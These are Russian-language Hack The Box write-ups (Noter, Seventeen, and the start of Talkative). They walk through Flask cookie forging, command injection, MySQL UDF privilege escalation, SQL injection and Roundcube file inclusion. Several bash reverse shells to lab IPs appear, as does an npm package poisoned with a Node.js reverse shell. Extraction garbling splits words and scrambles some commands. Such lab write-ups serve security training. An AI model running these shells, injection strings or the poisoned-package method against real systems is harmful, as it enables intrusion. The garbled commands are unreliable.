На ша цель — про хож дение сред ней по слож ности машины Noter с пло щад ки
.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.160    noter.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш лось три откры тых пор та:
21 — служ ба vsftpd 3.0.3;•
22 — служ ба OpenSSH 8.2p1;•
5000 — веб-сер вер Python Werkzeug 2.0.2.•

Ано ним ный вход на FTP зак рыт, с SSH мы ничего не сде лаем, поэто му идем
смот реть веб.

Глав ная стра ница сай та http://noter.htb:5000/

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те есть воз можность регис три ровать ся и авто ризо вать ся, чем мы обя -
затель но дол жны вос поль зовать ся.

Глав ная стра ница зарегис три рован ного поль зовате ля

Я всю работу выпол няю через , поэто му в иден тифика торе сес сии поль -
зовате ля сра зу заметил токен JWT.

Burp

Зап рос на сер вер в Burp Pro

JWT
JSON Web Token хра нит необ ходимую информа цию о текущем сеан се. В чис ле
про чего в нем содер жится HMAC — hash-based message authentication code,
код авто риза ции на осно ве хеша. Его-то нам и пред сто ит под делать.

Для работы с JWT будем исполь зовать ути литу .Flask-Unsign

pip3 sudo install Flask==2.1.0 flask_unsign
  flask-unsign --decode --cookie

'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.
fDwY2juxacH9LTQV7xx_RyGo8EM'

По луче ние информа ции о сеан се

Для соз дания HMAC тре бует ся сек ретный ключ. Если мы суме ем вос ста новить
или взло мать сек ретный ключ, то смо жем вно сить любые изме нения
в информа цию о сеан се. С помощью Flask-Unsign можем поп робовать проб -
рутить сек рет.

  

 

flask-unsign --wordlist rockyou.txt --unsign --cookie
'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.
fDwY2juxacH9LTQV7xx_RyGo8EM' --no-literal-eval

По луче ние сек ретно го клю ча

Мы получи ли сек ретный ключ, а зна чит, можем записать свои дан ные в сеанс,
в дан ном слу чае сме нить поль зовате ля. Генери руем сес сию, уста нав лива ем
в бра узе ре и обновля ем стра ницу. Я поп робовал поль зовате ля ,

но ничего не выш ло.

admin

  
   

flask-unsign --sign --cookie "{'logged_in': True, 'username': 
'admin'}" --secret 'secret123' --legacy

Ге нери рова ние нового токена

Ошиб ка авто риза ции

Ско рее все го, такого поль зовате ля не сущес тву ет, поэто му нуж но най ти спо -
соб опре делить реаль ных поль зовате лей. Сайт работа ет на Flask, к тому же
пред назна чен для хра нения заметок, поэто му пер вым делом я стал искать SSTI
(вклю чение шаб лонов на сто роне сер вера) и XSS. Начал с соз дания замет ки.

Соз дание замет ки с наг рузкой

За тем я опре делил все мес та, где про исхо дит вывод это го тек ста, но, к моему
сожале нию, вез де исполь зует ся экра ниро вание.

Глав ная стра ница сай та

За мет ки поль зовате ля

Со дер жимое соз данной замет ки

Тест наг рузкой для XSS так же не увен чался успе хом. Тог да я решил пос -
мотреть на механизм авто риза ции, а имен но на сооб щения, которые сер вер
отдаст в раз ных ситу ациях. Иног да в таких слу чаях помога ет опре делять вре мя,
которое зат рачива ется на про вер ку пра виль ных и неп равиль ных учет ных дан -
ных. Но так далеко идти ока залось не нуж но: сооб щения для сущес тву юще го
и несущес тву юще го поль зовате ля ока зались раз ными.

От вет сер вера для несущес тву юще го акка унта

От вет сер вера для сущес тву юще го акка унта

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/Paradoxis/Flask-Unsign


ЛОМАЕМ
ВЕБ-ПРИЛОЖЕНИЕ НА FLASK

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Во ору жаем ся  и при нима емся за перебор.Burp Intrueder

Пе реки дыва ем зап рос в Burp (Ctrl-I, Ctrl-Shift-I) и отме чаем для перебо ра
логин.

Burp Intruder — вклад ка Position

Спи сок имен поль зовате лей берем из набора .SecLists

Burp Intruder — вклад ка Payloads

Ус танав лива ем 256 потоков (мож но и боль ше).

Burp Intruder — вклад ка Resource Pool

В резуль тиру ющую таб лицу добавим еще один стол бец, куда будет попадать
сооб щение об ошиб ке.

Для это го на вклад ке Options перей дем к парамет ру Grep → Extract, най дем
в отве те сер вера сооб щение об ошиб ке и уста новим фла жок Extract from regex
group.

Burp Intruder — вклад ка Options

За пус каем перебор и вско ре находим поль зовате ля blue.

Burp Intruder — вклад ка Results

Те перь мы можем сге нери ровать токен для най ден ного поль зовате ля.

  
   

flask-unsign --sign --cookie "{'logged_in': True, 'username': 
'blue'}" --secret 'secret123' --legacy

Ге нери рова ние токена

При меня ем токен, обновля ем стра ницу и получа ем сес сию целево го поль -
зовате ля на сай те.

Глав ная стра ница поль зовате ля Blue

Сра зу прос мотрим записи поль зовате ля.

За мет ки поль зовате ля

В одной замет ке мы находим учет ные дан ные поль зовате ля blue для служ бы
FTP и имя еще одно го поль зовате ля — ftp_admin. Вто рая замет ка осо бого
инте реса не пред став ляет.

За мет ка 1

За мет ка 2

Под клю чаем ся к служ бе FTP с най ден ным паролем и прос матри ваем фай лы.

Под клю чение к FTP

Там все го один документ PDF, забира ем его.

Заг рузка фай ла policy.pdf

В PDF опи сана пароль ная полити ка. Нас инте ресу ет пункт 4 в гра фе Password
Creation.

Со дер жимое фай ла policy.pdf

Та ким обра зом, пароль фор миру ется по мас ке:

[username]@[sitename]!

По ана логии с паролем  для поль зовате ля blue мы можем сос -
тавить пароль для поль зовате ля ftp_admin — .

blue@Noter!
ftp_admin@Noter!

Под клю чение к FTP

Под клю чив шись c сос тавлен ными учет ными дан ными, получа ем еще два фай -
ла бэкапов.

ÏÐÎÄÂÈÆÅÍÈÅ
Прос матри ваем исходные коды из бэкапов. В одном находим учет ные дан ные
для под клю чения к базе дан ных, а из вто рого рас кры ваем новые точ ки вхо да.

Учет ные дан ные для под клю чения к базе дан ных

Так, через стра ницу  мож но выпол нить коман ду в коман -

дной обо лоч ке . Коман да фор миру ется с исполь зовани ем нашего
поль зователь ско го вво да, а имен но содер жимого замет ки.

/export_note_remote
/bin/bash

Ис ходный код обра бот чика export_note_remote

Эта стра ница при нима ет URL-адрес, на котором дол жна хос тить ся замет ка.
Помес тим файл с реверс-шел лом на сво ем сер вере. При этом мы дол жны
прой ти шаб лон, зак рыть выпол няемую коман ду  и толь ко потом выпол нить

бэк коннект.

node

--'; bash -i >& /dev/tcp/10.10.14.81/4321 0>&1; echo'--

Эк спорт замет ки

И на откры тый лис тенер (запущен ный коман дой ) мы
получим бэк коннект.

rlwrap nc -lvnp 4321

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Мы име ем учет ные дан ные к MySQL, при чем для при виле гиро ван ного поль -
зовате ля root. Но что бы удоб но работать с MySQL, нам нуж но соз дать нор -
маль ную TTY-обо лоч ку. Самый прос той спо соб сде лать это — исполь зовать
модуль pty для Python.

 python3 -c "import pty; pty.spawn('/bin/bash')"

А теперь можем под клю чить ся к базе.

mysql -h localhost -u root -pNildogg36

Под клю чение к СУБД MySQL

Так как мы работа ем от име ни рута, в прод вижении нам поможет соз дание
поль зователь ской фун кции MySQL. Если ском пилиро вать такую фун кцию
в виде биб лиоте ки, то ее мож но будет вызывать как встро енную. Мы соз дадим
фун кцию, которая будет вызывать коман ды опе раци онной сис темы. Они
выпол нятся с теми же при виле гиями, что и работа ющая служ ба, то есть в дан -
ном слу чае от име ни root.

Пер вое, что сто ит про верить, — это вклю чена ли перемен ная
. Она поз волит нам раз решить опе рации импорта и экспор -

та дан ных — такие как фун кции  и .
secure_file_priv

load_file load_data

   show variables like '%secure_file_priv%';

По луче ние перемен ной secure_le_priv

Зна чение рав но , то есть перемен ная отклю чена, и мы можем заг рузить

дан ные в базу. Теперь нуж но получить сис темный каталог с пла гина ми MySQL.
Имен но в него нам и нуж но будет добавить биб лиоте ку.

null

   show variables like '%plugin%';

По луче ние катало га с пла гина ми

В качес тве биб лиоте ки исполь зуем , который нуж но будет ском -
пилиро вать.

го товый код

wget https://www.exploit-db.com/raw/1518 -O 1518.c
gcc  -g -c 1518.c
gcc   -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o

За тем заг ружа ем этот экс пло ит на уда лен ный хост и с помощью MySQL
копиру ем его в каталог с пла гина ми.

 use mysql;
   create table foo(line blob);
   insert into foo values(load_file('/tmp/raptor_udf2.so'));
      select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/

mariadb19/plugin/raptor_udf2.so';

Те перь соз дадим поль зователь скую фун кцию . И сра зу про верим,

дос тупна ли она в MySQL.

do_system

      create function do_system returns integer soname 'raptor_udf2.so';
   select * from mysql.func;

Про вер ка соз данной поль зователь ской фун кции

Те перь мы можем выпол нять коман ды в при виле гиро ван ном кон тек сте.
В качес тве метода пер систен тнос ти уста новим бит SUID фай лу коман дной
обо лоч ки ./bin/bash

 select do_system('chmod u+s /bin/bash');

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные сис -
темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Вы пол нение коман ды

Ко ман да успешно выпол нена, а зна чит, мы можем запус тить Bash в при виле -
гиро ван ном кон тек сте и заб рать флаг рута.

Флаг рута

Ма шина зах вачена!

https://github.com/danielmiessler/SecLists
https://www.exploit-db.com/exploits/1518


ПОДМЕНЯЕМ ПАКЕТ NPM
ДЛЯ ЗАХВАТА ХОСТА
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ВЗЛОМ

В этом рай тапе я покажу, как соз дать свой
реестр NPM и раз местить с ним вре донос -
ный пакет для зах вата уда лен ной машины.
Но нач нем мы с SQL-инъ екции, а затем
заюзаем извес тную RCE для повыше ния
при виле гий.

На ша цель — зах ват машины Seventeen с тре ниро воч ной пло щад ки 
. Задание оце нено как слож ное.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.165    seventeen.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим три откры тых пор та:
22 — служ ба OpenSSH 7.6p1;•
80 — веб-сер вер Apache 2.4.29;•
8000 — веб-сер вер Apache 2.4.38.•

Нам дос тупно сра зу два веб-сер вера, с которых и нач нем про бивать периметр.

Глав ная стра ница сай та

Ос мотрев шись на сай те, находим под твержде ние тому, что в самом начале
выб рали вер ное домен ное имя.

Лен динг

Боль ше ничего инте рес ного нет, поэто му перей дем к активно му ска ниро -
ванию.

ÒÎ×ÊÀ ÂÕÎÄÀ
Итак, я поп робую поис кать скры тые фай лы и катало ги. Делать это я буду
при помощи ска нера .ffuf

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

ffuf    256 -u 'http://seventeen.htb/FUZZ' -t -w directory_2.3_
medium_lowercase.txt

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Ска ниро вание катало гов ничего инте рес ного не дало. Дру гих HTML-стра ниц
тоже не наш лось. Оста ется прос каниро вать под домены. В этом слу чае мы
будем переби рать заголо вок  в парамет ре . Так как все отве ты будут
вес ти на основной домен, можем их отфиль тро вать по раз меру стра ницы
в парамет ре .

Host -H

--fs

ffuf    256 
  

-u 'http://seventeen.htb/' -t -w subdomains-top1million-
110000.txt -H 'Host: FUZZ.seventeen.htb' --fs 20689

Ре зуль тат ска ниро вания под доменов

На ходим один под домен, запись для которо го добав ляем в ./etc/hosts

10.10.11.165 seventeen.htb exam.seventeen.htb

Глав ная стра ница сай та exam.seventeen.htb

Exam Reviewer Management System
На сай те нас встре чает Exam Reviewer Management System, для которой мы
лег ко находим  в базе Exploit-DB. Это SQL-инъ екция.пуб личный экс пло ит

Опи сание спо соба экс плу ата ции

Нам пре дос тавля ют готовую наг рузку, которой неп ремен но сто ит вос поль -
зовать ся. Пер вым делом запус тим .sqlmap

    
 3

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id
--level

Ра бочая наг рузка для экс плу ата ции

Sqlmap нашел наг рузку, теперь получим базы дан ных (параметр ).--dbs

    
  3

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id
--dbs --level

Ба зы дан ных

От меча ем для себя, что на сер вере исполь зуют ся и дру гие плат формы, вклю -
чая Roundcube. Нач нем с пер вой базы, получим таб лицы (параметр )

из базы  (параметр ).

--tables
db_sfms -D

  sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -D db_
sfms --tables

Таб лицы в базе db_sfms

Да вай сдам пим (параметр ) таб лицы  и  (параметр ).
Для быс тро ты исполь зуем десять потоков (параметр ).

--dump user student -T
--threads

   
10 
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads

-D db_sfms -T user --dump

Со дер жимое таб лицы user

   
10 
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads

-D db_sfms -T student --dump

Со дер жимое таб лицы student

По лучи ли мно го хешей, что не может не радовать. Теперь перей дем к базе
 и по при выч ному сце нарию сна чала узна ем таб лицы.erms_db

   
10 
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads

-D erms_db --tables

Таб лицы в базе erms_db

Из этой базы тоже сдам пим поль зовате лей.

   
10   
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads

-D erms_db -T users --dump

Со дер жимое таб лицы user

Кро ме хешей, мы рас кры ваем каталог с ава тара ми, а это неиз вес тная до дан -
ного момен та дирек тория на веб-сер вере — ! Из Roundcube
ничего не получа ем, поэто му с помощью онлай новой базы кря каем хеши.

/oldmanagement

Взлом хешей

По луча ем один пароль, с которым поп робу ем пой ти на най ден ный сайт —
School File Management System.

Сайт seventeen.htb:8000/oldmanagement

Продолжение статьи →
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ПОДМЕНЯЕМ ПАКЕТ NPM
ДЛЯ ЗАХВАТА ХОСТА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Пос ле авто риза ции видим заг ружен ный файл, который мы, конеч но же, ска -
чаем.

Про филь поль зовате ля Kelly

Нем ного почитав про эту сис тему, я узнал о воз можнос ти заг рузить и выпол -
нить файл на PHP. Файл будет рас положен в катало ге . В качес -

тве реверс-шел ла заг ружа ем прос той скрипт:

/files/31234/

 
 

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.16/4321 0>&1'"
); ?>

Спи сок заг ружен ных фай лов

Об раща емся к нашему скрип ту по сле дующе му адре су:

http://seventeen.htb:8000/oldmanagement/files/31234/reverse.php

И получа ем ответ, что дос туп зак рыт. Заг рузить скрипт в какой-нибудь дру гой
каталог, исполь зуя обход путей, тоже не выш ло.

Ошиб ка при обра щении к реверс-шел лу

Вер немся к ска чан ному фай лу, ведь там может быть какая-то цен ная
информа ция. И находим в нем еще один сайт.

Со дер жимое ска чан ного докумен та

До бав ляем домен в файл . Так как порт 443 зак рыт, пой дем

на 8000. Дос туп к кор невому катало гу зап рещен, зато стра ница 

сущес тву ет, и там нас встре чает Roundcube.

/etc/hosts
mastermailer

Па нель авто риза ции

Ни какие учет ные дан ные не под ходят, тог да прос мотрим вер сию поч тового
кли ента. Ее возь мем из фай ла ./CHANGELOG

Ре зуль тат ска ниро вания катало гов

Но мер вер сии наш ли, зна чит, мож но искать готовые экс пло иты.
Для Roundcube Webmail 1.4.2 наш лась CVE-2020-12640. Это вклю чение про -
изволь ных локаль ных фай лов PHP. А в сочета нии с тем, что мы можем заг -
рузить файл через дру гую CMS, это даст нам уда лен ное выпол нение кода!

CVE-2020-12640

На GitHub уда лось даже най ти . При этом нам дос тупен каталог .PoC installer

Стра ница installer

Нам нуж но перей ти к опции Create cong и выпол нить зап рос на обновле ние
нас тро ек, который мы перех ватыва ем в .Burp Proxy

Зап рос на обновле ние нас тро ек

В PoC исполь зует ся несущес тву ющий параметр , который

ука зыва ет про изволь ный каталог. Я обра тил вни мание на то, что рядом с этим
катало гом рас положен файл PHP с тем же наз вани ем. Поэто му поп робу ем
прос каниро вать катало ги в дирек тории, в которые попада ют заг ружа емые фай -
лы.

_plugins_qwerty

ffuf   
 256

-u 'http://seventeen.htb:8000/oldmanagement/files/31234/FUZZ'
-w directory_2.3_medium_lowercase.txt -t

Ре зуль тат ска ниро вания катало гов

На ходим каталог , поэто му заг рузим реверс-шелл с наз вани ем 
. Затем исполь зуем стро ку парамет ров из PoC, заменяя ею ори гиналь ный

зап рос.

papers papers.
php

_step=2&_product_name=Seventeen+Webmail&_plugins_qwerty=
../../../../../../../../../var/www/html/oldmanagement/files/31234/
papers&submit=UPDATE+CONFIG

Но вый зап рос

И на наш лис тенер (я исполь зую ) получа ем бэк коннект.pwncat-cs

Но вая сес сия pwncat-cs

ÏÐÎÄÂÈÆÅÍÈÅ

Docker to Host

По наз ванию хос та мож но понять, что мы попали в докер. Так как на веб-сер -
вере кру тит ся нес коль ко сис тем, мы можем получить учет ные дан ные. Хотя бы
из фай лов для под клю чения к базам дан ных.

Со дер жимое фай ла dbh.php

По луча ем пароль, который нуж но поп робовать исполь зовать для раз ных служб,
к при меру SSH. Имя поль зовате ля узна ем из фай ла ./etc/passwd

Сис темный поль зователь

Под клю чаем ся по SSH с най ден ными учет ными дан ными и забира ем поль -
зователь ский флаг.

Флаг поль зовате ля

Ïîëüçîâàòåëü Kali

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать информа -
цию, поэто му рас чехля ем скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате -
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

С помощью скрип та находим вхо дящие сооб щения поль зовате ля kavi.

Вхо дящие сооб щения поль зовате ля kavi

Чи таем и отме чаем для себя информа цию о локаль ном репози тории пакетов
NPM.

Со дер жимое вхо дяще го сооб щения

Ес ли это локаль ный репози торий, то про верим откры тые пор ты, нас инте ресу -
ет порт 4873.

Прос лушива емые пор ты

Нуж ный нам порт открыт, и этот адрес дол жен быть ука зан в фай ле ..npmrc

Со дер жимое фай ла .npmrc

Так как в сооб щении упо минал ся «ста рый лог гер», поп робу ем най ти в реес тре
что-то с этим свя зан ное.

npm search log --registry http://127.0.0.1:4873

Най ден ные пакеты

Дос тупен пакет . Это инте рес но, так как если файл работа ет с базой

дан ных, то он дол жен содер жать учет ные дан ные.

db-logger

Ус тановим пакет из локаль ного реес тра.

npm install db-logger --registry http://127.0.0.1:4873

Ус танов ка пакета db-logger

А теперь прос мотрим содер жимое фай ла.

Со дер жимое фай ла logger.js

На ходим еще один пароль, который поз воля ет получить новую сес сию, уже
от име ни поль зовате ля kavi.

Сес сия поль зовате ля kavi

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Од но из пер вых мест, которые нуж но про верить при повыше нии при виле -
гий, — нас трой ки sudoers. Получить их мож но коман дой .sudo -l

Нас трой ки sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Уз наем, что мы можем выпол нить коман ду  без вво да
пароля в при виле гиро ван ном кон тек сте. Запус тим этот скрипт и пос мотрим,
что про изой дет.

/opt/app/startup.sh

За пуск най ден ного скрип та

По логам мы можем опре делить, что скрипт про веря ет уста нов ленные пакеты
NPM, а если такого пакета нет, то про исхо дит его поиск и уста нов ка. Если про -
верить каталог  до запус ка и пос ле, можем заметить, что там появ -

ляет ся нуж ный пакет .

/opt/app/
loglevel

Про вер ка катало га /opt/app/

В этом катало ге инте ресен файл , где находим тре бова ние пакета

loglevel.

index

Со дер жимое фай ла /opt/app/index.js

Тут появи лась идея под менить loglevel, внед рив в него реверс-шелл. Но как я
ни пытал ся локаль но это сде лать, ничего не получи лось. Но есть и дру гой путь!
Дело в том, что менед жер пакетов NPM всег да про веря ет адрес уда лен ного
репози тория в фай ле ..npmrc

Да вай ука жем в качес тве уда лен ного репози тория свой хост, а потом раз -
вернем локаль ный пос тавщик пакетов.

  echo "registry=http://10.10.14.16:4873/" > ~/.npmrc

Для пос тавки пакетов будем исполь зовать ути литу .verdaccio

npm  sudo install -g verdaccio
verdaccio -l 10.10.14.16:4873

За пуск verdaccio

Прог рамма запуще на, отоб ража ет логи, поэто му мы можем перей ти к сле -
дующе му шагу и соз дать поль зовате ля.

npm adduser --registry http://0.0.0.0:4873/

Соз дание поль зовате ля verdaccio

Те перь ска чаем пакет loglevel с GitHub, перей дем в каталог пакета и поп робу -
ем его опуб ликовать. Как пра вило, мы получа ем на этом эта пе ошиб ку.

git clone https://github.com/pimterry/loglevel.git
npm publish --registry http://10.10.14.16:4873/

Пуб ликация пакета loglevel

Для решения этой проб лемы нам нуж но прос то убрать пакет с пуб ликации
и опуб ликовать заново.

npm unpublish --registry http://10.10.14.16:4873/ --force

Уда ление опуб ликован ного пакета

Пе ред пов торной пуб ликаци ей давай запишем реверс-шелл на Node.js
в основные фай лы loglevel:  и ../lib/loglevel.js ./dist/loglevel.js

(function(){
     var net = require("net"),

        cp = require("child_process"),
         sh = cp.spawn("bash", []);

      var client = new net.Socket();
    client.connect(4321, "10.10.14.16", function(){
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
  });
    return /a/; // Prevents the Node.js application from crashing

})();

А теперь пуб лику ем пакет заново. Пос ле пуб ликации мы можем перей ти
по ука зан ному адре су и про верить опуб ликован ные пакеты.

npm publish --registry http://10.10.14.16:4873/

Пуб ликация пакета loglevel

Опуб ликован ные пакеты

Те перь вер немся на уда лен ный хост и сно ва выпол ним коман ду 

. В логах verdaccio обна ружим обра щение к пакетам loglevel

и mysql, а затем в окне лис тенера получим бэк коннект.

sudo /opt/
app/startup.sh

Ло ги сер вера verdaccio

Флаг рута

У нас есть рутовый шелл, а зна чит, машина зах вачена!

https://github.com/DrunkenShells/Disclosures/tree/master/CVE-2020-12640-PHP%20Local%20File%20Inclusion-Roundcube
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/verdaccio/verdaccio
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ВЗЛОМ

В этом рай тапе по слож ной машине с пло -
щад ки  мы про экс плу ати руем
уяз вимость в CMS Jamovi для получе ния
учет ных дан ных, а затем попен тестим CMS
Bolt, что бы получить управле ние
над Docker и тун нелиро вать тра фик
на основной хост. Пос ле это го работа ем
с базой RocketChat для авто риза ции
в чате и получе ния RCE. Что бы повысить
при виле гии, раз берем ся с воз можностью

.

Hack The Box

CAP_DAC_READ_SEARCH

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.155    talkative.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ре зуль тат работы скрип та (про дол жение)

Наш ли пять откры тых пор тов:
80, 3000 — веб-сер вер Apache 2.4.52;•
8080, 8081, 8082 — веб-сер вер Tornado 5.0.•

При этом филь тру ется под клю чение к пор ту 22 (SSH).
С помощью ути литы  узна ем, какие тех нологии исполь зуют ся

на обна ружен ных откры тых пор тах.

WhatWeb

whatweb http://talkative.htb
whatweb http://talkative.htb:3000/
whatweb http://talkative.htb:8080/
whatweb http://talkative.htb:8081/
whatweb http://talkative.htb:8082/

Про вер ка исполь зуемых тех нологий

Из все го, что нашел WhatWeb, нас боль ше все го инте ресу ет плат форма Jamovi.

Глав ная стра ница сай та http://talkative.htb:3000/

ÒÎ×ÊÀ ÂÕÎÄÀ

Нам дос тупен Rj Editor, а это очень лег кий спо соб получить уда лен ное выпол -
нение кода (RCE). Для соз дания реверс-шел ла будем исполь зовать сайт

. Там ука зыва ем парамет ры, такие
как локаль ные хост и порт, язык и целевую сис тему.
Online Reverse Shell Generator

Online Reverse Shell Generator

За тем откры ваем лис тенер, мож но ско пиро вать коман ду из генера тора.
А теперь откры ваем Rj Editor и переда ем сге нери рован ный шелл в фун кцию

. Отправ ляем на выпол нение ком бинаци ей кла виш Ctrl + Shift + Enter.system

system("bash -c 'bash -i >& /dev/tcp/10.10.14.11/4321 0>&1'",
intern=TRUE)

Rj Editor RCE

И получа ем уда лен ную коман дную обо лоч ку.

Бэк коннект от сер вера

По поль зовате лю и име ни хос та понима ем, что находим ся в докер-кон тей нере.

ÒÎ×ÊÀ ÎÏÎÐÛ

Ос матри ваем ся в рабочем окру жении и в домаш нем катало ге рута находим
файл с рас ширени ем omv.

Со дер жимое катало га /root/

Пе рене сем этот файл на локаль ный хост для даль нейше го изу чения. Так
как файл малень кий, можем закоди ровать его в Base64, а потом декоди ровать
на локаль ном хос те.

 cat /root/bolt-administration.omv | base64 -w0

Ко диро вание фай ла

Де коди руем текст, а затем рас паку ем как архив ZIP. В одном из фай лов най дем
учет ные дан ные.

 |   echo UEsDBBQA...mBgAAAAA= base64 -d > bolt-administration.omv
unzip bolt-administration.omv

Со дер жимое фай ла xdata.json (логины)

Со дер жимое фай ла xdata.json (пароли)

По луча ем сле дующие пары учет ных дан ных:

matt@talkative.htb : jeO09ufhWD<s
janit@talkative.htb : bZ89h}V<S_DA
saul@talkative.htb : )SQWGm>9KHEA

Я переп робовал раз ные ком бинации логинов и паролей, но дос тупа все рав но
никуда получить не уда лось. Одна ко находим поч товый адрес адми нис тра тора
и, поп робовав най ден ные пароли для него, авто ризу емся в CMS Bolt.

Глав ная стра ница http://talkative.htb/bolt

CMS Bolt — RCE

Bolt исполь зует Twig для шаб лонов и поз воля ет управлять кон тентом и поль -
зовате лями. Это дает нам воз можность записы вать код в новый файл или вно -
сить изме нения в сущес тву ющие фай лы.

Что бы вос поль зовать ся этой воз можностью, перей дем к кон фигура цион -
ным фай лам, затем выберем и откро ем для редак тирова ния любой файл
на PHP.

Глав ное меню CMS Bolt

Спи сок кон фигура ций

Со дер жимое фай ла cong/bundles.php

